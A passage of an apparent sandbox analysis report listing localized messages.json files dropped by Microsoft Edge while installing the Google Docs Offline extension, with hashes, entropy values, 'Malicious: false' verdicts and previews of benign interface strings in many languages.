MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
